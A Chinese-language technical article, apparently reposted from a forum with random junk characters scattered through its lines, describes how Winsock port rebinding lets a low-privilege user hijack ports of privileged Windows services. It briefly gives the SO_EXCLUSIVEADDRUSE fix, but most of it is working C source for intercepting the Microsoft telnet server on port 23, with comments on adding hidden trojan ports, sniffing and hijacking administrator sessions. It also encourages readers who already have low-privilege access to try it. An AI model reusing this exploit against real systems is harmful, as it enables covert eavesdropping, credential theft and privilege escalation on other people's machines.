端口截听实现隐藏嗅探与攻击

韩冰

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：

' Z4 h0 @5 ]* p) Y+ l2 U9 f　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

! K$ x1 v+ t7 P/ u7 G5 p  r　　saddr.sin_family = AF_INET;
/ a$ G% K1 j. @2 Z& g% y
　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
4 O4 P: a' @5 _# `& u) r- ?
  q  \, y& }1 H; F　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

/ H. A( n% Y* t: e' s3 ]　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

/ L% d0 {1 b0 ]　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。
# N5 j# x" w" z9 G
1 h* o, d6 z) w8 f9 i7 J　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　
2 x& H* W8 |% y* T5 u
2 f* \% V4 T% E$ _. S8 m* D& s# x　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。
. ^4 E9 F5 a% z
　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。
# a, @8 i+ r' N
; f. o0 n. b5 L: D) |　　#include
0 m$ ]6 d% a% D0 p* |0 ^　　#include
* f0 l+ \) J6 ]- L$ Q　　#include
　　#include 　　
) G4 e& k8 Y# A  C1 h　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
. Z4 y2 J7 }# N5 b　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
3 S' u, g4 V) l* m% u7 x- E5 _　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
% V4 c: Y' U; i/ c) h　　int err;
7 ^& z- _$ G8 b3 P! M- [# b& F; f　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
' A  J! P6 o  c; h7 k1 }　　printf("error!WSAStartup failed!\n");
! Y- J8 w$ d# A+ B3 p0 I　　return -1;
　　}
　　saddr.sin_family = AF_INET;
; ^8 j4 W, I2 P% l/ B3 ^0 u　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了
# m! o2 K, i8 j8 V/ [7 Y! z
　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
: J5 @  C' C  f& l  Y4 H　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
+ B0 l' \! c: L) o　　{
; u! t) ?1 t* |　　printf("error!socket failed!\n");
　　return -1;
) }$ e/ h9 S" j1 J: j# B" o　　}
3 C3 [& s4 b" Q$ S0 s8 h* e7 |　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
7 E* [0 t1 f+ s+ x: }4 s　　{
　　printf("error!setsockopt failed!\n");
4 w5 D/ F) m2 \( ~　　return -1;
　　}
2 E% t/ B% ]/ q  G8 J: \  e　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
' q0 E, `5 I/ q　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击
( e3 M7 p: A% B. w
. U0 p2 K4 X# Y# z5 {7 R# x　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
# c: w/ F* Z9 d# `3 l' G　　printf("error!bind failed!\n");
　　return -1;
. H. `4 Q. }  A, l- l　　}
　　listen(s,2);
" d: T3 |2 B. a9 i5 a9 c　　while(1)
; z6 `* D& a$ P' b" N) ^' r. C" Q　　{
% {3 O  M! ]3 ~1 y) b7 i3 ?　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
! n- h, ]+ j. W" _! B　　{
; D2 q) `3 E! b' V　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
) m( B8 p+ j" R. H　　{
　　printf("Thread Creat Failed!\n");
　　break;
4 f: X' m7 d# F' _　　}
　　}
　　CloseHandle(mt);
. a' j: P! @5 j- F　　}
9 ?% E' p4 ^0 n- x( @. M( Q　　closesocket(s);
　　WSACleanup();
　　return 0;
* f- @9 ^2 p% J　　}　　
' f- Y& Q0 O; O　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
! _  ^  V8 }) l5 x　　SOCKET sc;
2 y4 T" r8 K0 l# j! O* u2 W　　unsigned char buf[4096];
- r8 f! ~2 ^3 _9 X+ {4 |$ K& U1 e　　SOCKADDR_IN saddr;
' L( Y9 z: U  o6 }9 n* h! @　　long num;
* B; g; B3 Z' p6 p$ t　　DWORD val;
& W0 L  |7 x6 X3 o) _/ X" K/ ^$ g　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
1 y) C3 u8 m: t7 I% L1 \5 w6 w　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
4 w, p! E1 f8 {2 i　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
! b0 d" k( i3 x% K( y5 q2 T; A　　return -1;
( c; _! m, m7 _1 i$ g　　}
　　val = 100;
! S: ?% R. x/ Q) j! x) w. P3 I　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
' \4 n# s( b2 e4 S　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
- i* C; M8 J4 O　　ret = GetLastError();
! l; E' w5 j/ a　　return -1;
　　}
9 O/ v9 t" l" n' L　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
: u# z, F& g4 j& ]　　closesocket(sc);
　　closesocket(ss);
$ w+ h& w) n$ i0 V. j) \　　return -1;
4 n) w4 U( U" S$ [6 O; M　　}
5 E0 }' l3 @) P' s+ y　　while(1)
/ c  {  a  B5 T7 k( l' |　　{
% D# [5 H2 Q* @  {% U  ?　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
' H" ^$ j3 u  h# a! |1 Y! J　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
, S- Z6 H" Q* [　　num = recv(ss,buf,4096,0);
　　if(num>0)
( E- E) ]- P/ j8 x- O　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
+ {2 S* h4 x6 A& u1 Z  t( i　　num = recv(sc,buf,4096,0);
' q. U; p( ^. O) o2 p& X　　if(num>0)
+ b1 s# m. i/ E$ b4 W& O　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
1 _0 B; p5 e. U4 M　　}
; n0 j+ u& X; T5 ~　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;